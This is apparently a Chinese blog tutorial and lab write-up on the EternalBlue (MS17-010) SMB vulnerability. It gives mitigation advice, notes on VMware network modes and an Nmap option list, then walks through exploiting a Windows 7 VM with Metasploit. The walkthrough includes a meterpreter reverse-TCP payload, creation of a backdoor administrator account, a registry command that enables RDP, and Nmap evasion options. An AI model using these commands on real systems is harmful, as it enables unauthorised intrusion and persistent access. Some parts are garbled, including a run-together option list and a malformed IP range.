当前位置: 首页 > news >正文

永恒之蓝漏洞

        MS17-010是微软于2017年3月发布的一个安全补丁,旨在修复Windows操作系统中的一个严重漏洞,该漏洞被称为“永恒之蓝”(EternalBlue)。这个漏洞影响了Windows的Server Message Block(SMB)协议,允许攻击者通过网络远程执行代码。

漏洞背景

  • CVE编号:CVE-2017-0144
  • 影响版本:Windows Vista、Windows 7、Windows 8、Windows 10、Windows Server 2008、Windows Server 2012、Windows Server 2016等多个版本。
  • 攻击方式:攻击者可以利用此漏洞发送特制的请求到目标计算机的SMB服务,从而执行恶意代码,获取系统权限。

影响

永恒之蓝漏洞的严重性在于,它允许攻击者在没有用户交互的情况下,通过网络传播恶意软件。2017年5月,勒索病毒WannaCry利用此漏洞进行传播,导致全球范围内的大规模感染,影响了数十万台计算机。

防护措施

  1. 安装补丁:及时安装微软发布的MS17-010补丁,以修复该漏洞。
  2. 关闭SMBv1:如果不需要,可以考虑禁用SMBv1协议,以减少攻击面。
  3. 网络防护:使用防火墙和入侵检测系统,限制对SMB端口(如445端口)的访问。
  4. 定期备份:定期备份重要数据,以防止勒索软件攻击造成的数据丢失。

桥接模式

桥接模式就是将主机网卡与虚拟的网卡利用虚拟网桥进行通信。类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机IP地址需要与主机在同一网段,如果需要联网,则网关与DNS需要与主机网卡一致。

桥接模式下的所有虚拟机都是和主机是在同一网段的,可以把它们看成是"平等"的关系,这就会带来一些麻烦,比如192.168.1段下只有254个主机地址,所以桥接模式下虚拟机和物理的总数不能超过这个数字!

Nat模式

 

在NAT模式中,主机网卡直接与虚拟NAT设备相连,然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上,这样就实现了虚拟机联网。VMware Network Adapter VMnet8网卡是为了实现主机与虚拟机之间的通信。

可见NAT模式下主机更像是虚拟机们的"路由器",通过VMnet8虚拟网卡为虚拟机分发地址。所以虚拟机和主机不再同一网段下,可以理解为主机是虚拟机的"上级",这也就是为什么桥接模式没有VMnet0这个虚拟网卡,因为桥接模式下的虚拟机和主机是"平等"的,共用同一个路由器

VMnet8网卡的作用仅仅是主机与虚拟机之间的通信,访问外网是不通过VMnet8网卡的!NAT模式下的虚拟机时通过真实主机的ip访问外网


仅主机模式

仅主机模式可有看成是NAT模式去除了虚拟NAT设备,然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的,Host-Only模式将虚拟机与外网隔开,使得虚拟机成为一个独立的系统,只与主机相互通讯。

nmap使用:

        Nmap(Network Mapper)是一款用于网络发现和安全审计的开源工具。它最初由 Gordon Lyon(也被称为 Fyodor Vaskovich)开发,是一款功能强大且广泛使用的网络扫描工具。Nmap 允许用户在网络上执行主机发现、端口扫描、服务识别和版本检测等操作,以帮助评估网络的安全性、发现主机和服务、以及识别潜在的安全威胁。

nmap常用命令主机发现 iR                                                                随机选择目标-iL                                                                从文件中加载IP地址-sL                                                               简单的扫描目标-sn                                                               Ping扫描-禁用端口扫描-Pn                                                              将所有主机视为在在线,跳过主机发现-PS[portlist]                                              (TCP SYN ping) 需要root权限-PA[portlist]                                              (TCP ACK ping)-PU[portlist]                                              (UDP  ping)-PY [portlist]                                             (SCTP ping)-PE/PP/PM                                                 ICMP回显,时间戳和网络掩码请求探测-PO[协议列表]                                            IP协议Ping-n/-R                                                           从不执行DNS解析/始终解析[默认:有时]--dns-servers                                              指定自定义DNS服务器--system-dns                                              使用OS的dns服务器--traceroute                                                跟踪到每个主机的跃点路径扫描技术-sS                                                             使用TCP的SYN进行扫描-sT                                                             使用TCP进行扫描-sA                                                            使用TCP的ACK进行扫描-sU                                                            UDP扫描-sI                                                             Idle扫描-sF                                                            FIN扫描-b<FTP中继主机>                                     FTP反弹扫描端口规格和扫描顺序-p                                                              扫描指定端口--exclude-ports                                         从扫描中排除指定端口-f                                                               快速模式-扫描比默认扫描更少的端口-r                                                               连续扫描端口-不随机化--top-ports                                                 扫描<number>最常用的端口服务/版本探测-sV                                                            探测服务/版本信息--version-intensity                                     设置版本扫描强度(0-9)--version-all                                              尝试每个强度探测--version-trace                                          显示详细的版本扫描活动(用于调试)脚本扫描-SC                                                           等效于 --script=defult--script = <lua scripts>,<lua scripts>        以逗号分隔的目录,脚本文件或脚本类别--script-args = <n1=v1, n2=v2>               为脚本提供参数--script-args-file=文件名                          从文件名中加载脚本参数--script-trace                                            显示发送和接受的所有数据--script-updatedb                                     更新脚本数据库--script-help=<lua scripts>                      显示有关脚本的帮助操作系统检测-o                                                            启用os检测--osscan-limit                                          将os检测限制为可能的目标--osscan-guess                                       推测操作系统检测结果时间和性能--host-timeout                                         设置超时时间--scan-delay                                           设置探测之间的时间间隔-T  <0-5>                                                设置时间模板,值越小,IDS报警几率越低防火墙/IDS规避和欺骗-f                                                             报文分段-s                                                             欺骗源地址-g                                                            使用指定的本机端口--proxies <url,port>                                 使用HTTP/SOCK4代理-data<hex string>                                   想发送的数据包中追加自定义的负载--data-string                                            将自定义的ACSII字符串附加到发送数据包中   --data-length                                           发送数据包时,附加随机数据--spoof-mac                                            MAC地址欺骗--badsum                                                发送带有虚假TCP/UNP/STCP校验和的数据包输出-oN                                                         标准输出-oX                                                         XMl输出-oS                                                         script jlddi3-oG                                                        grepable-oA                                                         同时输出三种主要格式-v                                                           信息详细级别-d                                                           调试级别--packet-trace                                        跟踪发送和接收的报文--reason                                                 显示端口处于特殊状态的原因--open                                                    仅显示开放的端口杂项-6                                                          启动Ipv6扫描-A                                                          启动Os检测,版本检测,脚本扫描和traceroute-V                                                          显示版本号

网络扫描神器:Nmap 保姆级教程(附链接)_虚拟机怎么安装nmap-CSDN博客

MSF使用:

        MSF使用详解-安全客 - 安全资讯平台

【工具使用】——Metasploit(MSF)使用详解(超详细)-CSDN博客

msf使用详解 · Drunkmars's Blog

        Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。   

1.打开msfconsole工具:kali终端输入 msfconsole

2.搜索漏洞: search 漏洞名字

3.选择相关模块:use 模块号

4.显示出有效的攻击载荷:show options

5.设置目标ip:set rhosts 目标ip

6.执行攻击:run 或 exploit

7.退出到msf:back

Metasploit

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

 

·  进入框架:msfconsole

·  使用search命令查找相关漏洞: search ms17-010

·  使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue

·  使用info查看模块信息: info

·  设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

·  查看模块需要配置的参数:show options

·  设置参数:set RHOST 192.168.125.138

·  攻击:exploit / run

·  后渗透阶段

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc 进行自动攻击!

漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits

这里面有针对不同平台的 exploit 。

我们现在就进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用

我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

攻击载荷(payload)

payload模块路径:/usr/share/metasploit-framework/modules/payloads

点击并拖拽以移动

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。

Metasploit中的 Payload 模块主要有以下三种类型:

  • -Single

  • -Stager

  • -Stage

  • ·  Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样的非metasploit处理工具所捕捉到。
  • ·  Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
  • ·  Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为:<target>/ <single>  如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>  如:windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload

而 windows/meterpreter/reverse_tcp 则由一个Stage Payloadmeterpreter)和 一个Stager Payloadreverse_tcp)组成

Stager中几种常见的payload

windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp    #反向连接,常用
windows/meterpreter/reverse_http   #通过监听80端口反向连接
windows/meterpreter/reverse_https  #通过监听443端口反向连接正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信

点击并拖拽以移动

Meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

·  Meterpreter完全驻留在内存,没有写入到磁盘

·  Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程

·  默认情况下, Meterpreter的通信是加密的,所以很安全

·  扩展性,许多新的特征模块可以被加载。

我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了 meterpreter> 之后我们就可以干很多事了!具体的做的事,在我们下面的后渗透阶段都有讲!

 

kali控制台输入:msfconsole 进入metasploit框架

寻找MS17_010漏洞: search ms17_010

这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,我们先探测哪些主机存在漏洞

Auxiliary辅助探测模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

输入命令:use auxiliary/scanner/smb/smb_ms17_010

查看这个模块需要配置的信息:show options

RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

输入:set RHOSTS 192.168.125.125-129.168.125.140

输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这里有3个主机存在漏洞

Exploit漏洞利用模块

然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息:info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:show targets

这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

Payload攻击载荷模块

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

查看攻击载荷:show payloads

该命令可以查看当前漏洞利用模块下可用的所有Payload

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

点击并拖拽以移动

查看模块需要配置的参数: show options

设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.125.138

设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.125.129

如果我们这里不设置lport的话,默认是4444端口监听

攻击: exploit

点击并拖拽以移动

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

永恒之蓝实验部分 :

        在msf中利用ms17-010漏洞来攻击系统,以熟悉msf工具的使用。

复现环境

  • 攻击机:kali,192.168.222.130
  • 被攻击机:win7,192.168.222.132 关闭防火墙

 

 

 

相互ping一下,看看能不能ping通

在kali中使用nmap扫描win7,发现445端口开放 

nmap:调用 Nmap 工具。

192.168.222.132:这是目标 IP 地址,表示你要扫描的设备。

-O:这个选项用于启用操作系统检测。Nmap 会尝试识别目标设备所运行的操作系统。

-sS:这是一个 TCP SYN 扫描,通常被称为“半开放扫描”。Nmap 发送 SYN 数据包(连接请求),如果目标主机响应 SYN-ACK,表示端口开放;如果响应 RST,表示端口关闭。这种扫描方式相对隐蔽,不会建立完整的 TCP 连接。

-T4:这个选项用于设置扫描速度和时间。Nmap 提供了多个时间模板(从 T0 到 T5),T4 表示“快速”,适合在网络延迟较低的环境中使用,可以加快扫描速度,但可能会增加被防火墙或入侵检测系统检测到的风险。

在kali的终端中打开msfconsole 

.利用search功能搜索ms17-010 搜索到两个模块

扫描模块:auxiliary/admin/smb/ms17_010

攻击模块:exploit/windows/smb/ms17_010_eternalblue

使用 模块3 对目标主机进行扫描,我们可以利用options先看一下选项,发现存在,ms17-010

        使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以。

        设置RHOSTS,再run。

 进行exp,使用模块3,并查看选项

search 17-010
use 0
#设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.222.130

 

看看配置文件

设置 rhosts:192.168.222.132

此处使用 set 命令,设置一下 RHOSTS (靶机的ip地址)

“rhosts”这个词在计算机安全和网络配置中通常指“远程主机”(Remote Hosts).

set RHOSTS 192.168.222.132

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

运行成功后,就可远程命令执行。

使用chcp 65001 解决乱码问题

 

创建新的管理员账户,账户名hacker,密码12356(在shell控制台下)

使用net localgroup administrators hacker /add命令,将账户设置为管理员

使用net localgroup administrators命令可查看本地管理员

利用netstat -ano查看3389端口是否开启,发现没有开启

把3389端口打开 

 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

  1. REG ADD:这是用于添加新项或修改现有项的命令。
  2. HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

    • HKLM:代表 "HKEY_LOCAL_MACHINE",这是 Windows 注册表中的一个根键,存储了计算机的全局设置。
    • SYSTEM\CurrentControlSet\Control\Terminal Server:这是注册表中的一个路径,指向与终端服务相关的设置。
  3. /v fDenyTSConnections

    • /v:指定要添加或修改的值的名称。
    • fDenyTSConnections:这是一个值名称,用于控制远程桌面连接的设置。具体来说,它指定是否允许远程桌面连接。
  4. /t REG_DWORD

    • /t:指定值的数据类型。
    • REG_DWORD:表示这个值的数据类型是一个双字(DWORD),通常用于存储整数值。
  5. /d 00000000

    • /d:指定要设置的值的数据。
    • 00000000:这是要设置的值,表示允许远程桌面连接。具体来说,0(或 00000000)表示不拒绝远程桌面连接。
  6. /f

    • /f:表示强制执行,不会询问确认。如果没有这个选项,系统可能会提示用户确认修改操作。

 连接,rdesktop 192.168.222.132:3389

其他用户

 可以用rdesktop登录进去

相关文章:

永恒之蓝漏洞

MS17-010是微软于2017年3月发布的一个安全补丁&#xff0c;旨在修复Windows操作系统中的一个严重漏洞&#xff0c;该漏洞被称为“永恒之蓝”&#xff08;EternalBlue&#xff09;。这个漏洞影响了Windows的Server Message Block&#xff08;SMB&#xff09;协议&#xff0c;允许…...

Eking管理易 Html5Upload 前台任意文件上传漏洞复现

0x01 产品描述&#xff1a; ‌Eking管理易是一款专为广告制品制作企业量身定制的管理软件产品&#xff0c;旨在帮助企业实现规范化、科学化管理&#xff0c;提升运营效率和降低运营成本。‌ 该软件由广州易凯软件技术有限公司开发&#xff0c;基于JAVA企业版技术研发&#xff0…...

spring boot itext7 修改生成文档的作者、制作者、标题,并且读取相关的信息。

1、官方的example文件&#xff1a;iText GitHub itext-java-7.2.5\kernel\src\test\java\com\itextpdf\kernel\pdf\PdfStampingTest.java 2、修改代码&#xff1a; Testpublic void stamping1() throws IOException {String filename1 destinationFolder "stamping1_…...

LeetCode题练习与总结:灯泡开关--319

一、题目描述 初始时有 n 个灯泡处于关闭状态。第一轮&#xff0c;你将会打开所有灯泡。接下来的第二轮&#xff0c;你将会每两个灯泡关闭第二个。 第三轮&#xff0c;你每三个灯泡就切换第三个灯泡的开关&#xff08;即&#xff0c;打开变关闭&#xff0c;关闭变打开&#x…...

ClickFix攻击活动升级:可通过虚假谷歌会议画面传播恶意软件

最近&#xff0c;研究人员报告了一种新的 ClickFix 攻击活动&#xff0c;主要通过诱骗用户访问显示虚假连接错误的欺诈性 谷歌会议的页面&#xff0c;继而借此传播信息窃取恶意软件&#xff0c;主要针对 Windows 和 macOS 操作系统。 ClickFix是网络安全公司Proofpoint在5月份…...

迷茫!能走出迷茫?

我今年40有余&#xff0c;因资质平庸&#xff0c;及特殊的个人经历&#xff0c;仍奋斗在一线。上班近二十年&#xff0c;两件事对我人生走向影响最大&#xff0c;编程和炒股。 下个月要去一家新公司上班。今天算是在现公司工作交接的最后时段。在这家公司干了接近一年&#xff…...

6.2 遍历重定位表

本节我们将编写一个遍历重定位表的示例程序&#xff0c;打印重定位表。 本节必须掌握的知识点&#xff1a; 遍历重定位表 6.2.1 遍历重定位表 实验四十三&#xff1a;遍历重定位表 以下代码实现打印"c:\\notepad64.exe"进程重定位表的所有信息。 /*--------------…...

面对服务器掉包的时刻困扰,如何更好的解决

在数字化时代&#xff0c;服务器的稳定运行是企业业务连续性的基石。然而&#xff0c;服务器“掉包”现象&#xff0c;即数据包在传输过程中丢失或未能正确到达目的地的情况&#xff0c;却时常成为IT运维人员头疼的问题。它不仅影响用户体验&#xff0c;还可能导致数据不一致、…...

RTSP流图片采样助手(yolov5)

在监控和视频分析领域&#xff0c;实时采样视频流中的图像数据是十分重要的。本文将介绍一个基于Python和Tkinter构建的RTSP流图片采样助手的设计与实现&#xff0c;旨在简化RTSP流的采样过程&#xff0c;并支持根据用户定义的特殊标签进行筛选。 项目概述 该项目的主要功能包…...

MySQL、MariaDB、OceanBase远程异地定时备份脚本

问题背景 公司需要在异地机房远程备份数据库&#xff0c;以防止数据丢失&#xff0c;同时要支持MySQL、MariaDB和OceanBase。由于MariaDB和OceanBase支持MySQL语法&#xff0c;所以可以直接用MySQL Client进行备份。 安装MySQL客户端 yum install mysql编写脚本 编写/backu…...

【远程监控新体验】OpenObserve结合内网穿透无公网IP远程访问全攻略

文章目录 前言1. 安装Docker2. Docker镜像源添加方法3. 创建并启动OpenObserve容器4. 本地访问测试5. 公网访问本地部署的OpenObserve5.1 内网穿透工具安装5.2 创建公网地址6. 配置固定公网地址前言 本文主要介绍如何在Linux系统使用Docker快速本地化部署OpenObserve云原生可观…...

深度学习:异常检测(Anomaly Detection)详解

异常检测&#xff08;Anomaly Detection&#xff09;详解 异常检测&#xff0c;也称为离群点检测&#xff0c;是一种用于识别在数据中显著偏离正常行为或预期模式的数据点的技术。这些异常数据点可能代表系统错误、欺诈行为、网络入侵或任何其他重要且通常需要进一步调查的现象…...

智慧公厕系统提升公共服务满意度

在现代城市化进程中&#xff0c;公共服务体系的完善与提升成为了政府和社会各界的重要任务。作为公共厕所这样一个普遍而基础的市政设施&#xff0c;其服务质量直接影响到市民的生活品质和城市形象。近年来&#xff0c;智慧公厕系统的引入逐渐成为提升公共服务满意度的重要手段…...

幼儿和青少年编程学习路径

1. 引言 编程在现代教育中的重要性 随着信息时代的来临&#xff0c;编程不再是一个小众技能&#xff0c;而是成为未来社会各行业的重要基础能力。从计算机科学到人工智能&#xff0c;再到数据科学和软件工程&#xff0c;编程技能无疑是未来全球经济的核心驱动力之一。越来越多…...

leetcode48:旋转矩阵

题目&#xff1a; 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5…...

安装CentOS 8镜像和创建CentOS 8虚拟机教程

一、安装虚拟机 网上查找教程&#xff0c;我用的是VMware 17 二、下载CentOS 8镜像 1.阿里云下载CentOS 8镜像 centos安装包下载_开源镜像站-阿里云 (aliyun.com) 选择需要下载的版本&#xff0c;(建议)下载dvd1版本的iso&#xff08;也有下载boot版本的iso&#xff0c;创…...

针对考研的C语言学习(二叉树专题)

二叉树层次建树 对于二叉树&#xff0c;建树过程中需要一个&#xff08;尾插法的&#xff09;链表&#xff08;或队列&#xff09;来辅助确认当前父亲节点 由于尾插法需要一个尾指针。因此可以理解为队列&#xff0c;只不过是不带头结点的链表版队列。 但其实就是一个辅助找…...

【ARM 嵌入式 编译系列 10.9 -- Clang 编译器】

> ARM GCC 编译精讲系列课程链接 < 文章目录 Clang 编译器详细介绍Clang 主要特点Clang 许可协议Clang 与 GCC 主要差异Clang 使用示例Summary Clang 编译器详细介绍 Clang 是一个由 LLVM 项目开发的编译器前端&#xff0c;支持 C、C、Objective-C 和 Objective-C 等编程…...

《深度学习》【项目】自然语言处理——情感分析 <上>

目录 一、项目介绍 1、项目任务 2、评论信息内容 3、待思考问题 1&#xff09;目标 2&#xff09;输入字词格式 3&#xff09;每一次传入的词/字的个数是否就是评论的长度 4&#xff09;一条评论如果超过32个词/字怎么处理&#xff1f; 5&#xff09;一条评论如果…...

RU19.25 Standalone (GI和DB分开打)

参考文档&#xff1a;Patch 36916690 - GI Release Update 19.25.0.0.241015 2.1.1.1 OPatch Utility Information 12.2.0.1.42 or later 2.1.1.2 Validation of Oracle Inventory 分别在GI和Oracle Home下执行 $ <ORACLE_HOME>/OPatch/opatch lsinventory -detail -o…...

探索 Jupyter 核心:nbformat 库的神秘力量

文章目录 探索 Jupyter 核心&#xff1a;nbformat 库的神秘力量1. 背景介绍&#xff1a;为何选择 nbformat&#xff1f;2. nbformat 是什么&#xff1f;3. 如何安装 nbformat&#xff1f;4. 简单的库函数使用方法4.1 读取 Notebook 文件4.2 修改 Notebook 中的单元格4.3 添加 M…...

python+大数据+基于spark的短视频推荐系统【内含源码+文档+部署教程】

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…...

Elasticsearch字段数据类型

1. 前言 ES文档的每个字段都至少有一个数据类型&#xff0c;此类型决定了字段值如何被存储以及检索。例如&#xff0c;字符串类型可以定义为text或者keyword&#xff0c;前者用于全文检索&#xff0c;会经过分词后索引&#xff1b;后者用于精准匹配&#xff0c;值会保持原样被…...

简述RESTFul风格的API接口

目录 传统的风格API REST风格 谓词规范 URL命令规范 避免多级URL 幂等 CURD的接口设计 REST响应 响应成功返回的状态码 重定向 错误代码 客户端 服务器 RESTful的返回格式 返回格式 从上一篇文章我们已经初步知道了怎么在VS中创建一个webapi项目。这篇文章来探讨一…...

探索光耦:光耦——不间断电源(UPS)系统中的安全高效卫士

在现代社会&#xff0c;不间断电源&#xff08;UPS&#xff09;系统已成为保障关键设备和数据安全的关键设施&#xff0c;广泛应用于企业数据中心、家庭电子设备等场景。UPS能在电力中断或波动时提供稳定电力&#xff0c;确保设备持续运行。而在这套系统中&#xff0c;光耦&…...

at命令和cron命令

第一章 例行性工作 1、单一执行的例行性工作 单一执行的例行性工作&#xff1a;仅处理执行一次就结束了 . 1.1 at命令的工作过程 /etc/at.allow&#xff1a;里面的用户是可以使用at命令的 --- 但实际上这个allow文件不存在&#xff0c;所以指全部的人都可以使用该命令&#…...

搜维尔科技:使用Manus Primel Xsens数据手套直接在Xsens及其插件中捕获手指数据

使用Manus Primel Xsens数据手套直接在Xsens及其插件中捕获手指数据 搜维尔科技&#xff1a;使用Manus Primel Xsens数据手套直接在Xsens及其插件中捕获手指数据...

Avalonia UI获取Popup显示位置,可解决异常显示其他应用程序的左上角

1.通过 PlacementTarget 获取位置 如果 Popup 是相对于某个控件&#xff08;PlacementTarget&#xff09;显示的&#xff0c;你也可以获取该控件的位置&#xff0c;然后计算 Popup 的相对位置。 // 假设 popup 是你的 Popup&#xff0c;target 是你的目标控件&#xff08;Pla…...

新版Win32高级编程教程-学习笔记01:应用程序分类

互联网行业 算法研发工程师 目录 新版Win32高级编程教程-学习笔记01&#xff1a;应用程序分类 控制台程序 强烈注意 窗口程序 启动项 程序入口函数 库程序 静态库 动态库程序 几种应用程序的区别 控制台程序 本身没有窗口&#xff0c;其中的doc窗口&#xff0c;是管…...

无需编程知识 如何用自适应建站系统创建专业网站 带完整的安装代码包以及搭建部署教程

系统概述 自适应建站系统是一款功能强大、易于使用的建站工具。它采用了先进的技术和设计理念&#xff0c;旨在为用户提供一个简单、高效的建站平台。该系统支持多种语言和多种设备&#xff0c;能够自动适应不同屏幕尺寸和分辨率&#xff0c;确保网站在各种终端上都能呈现出最…...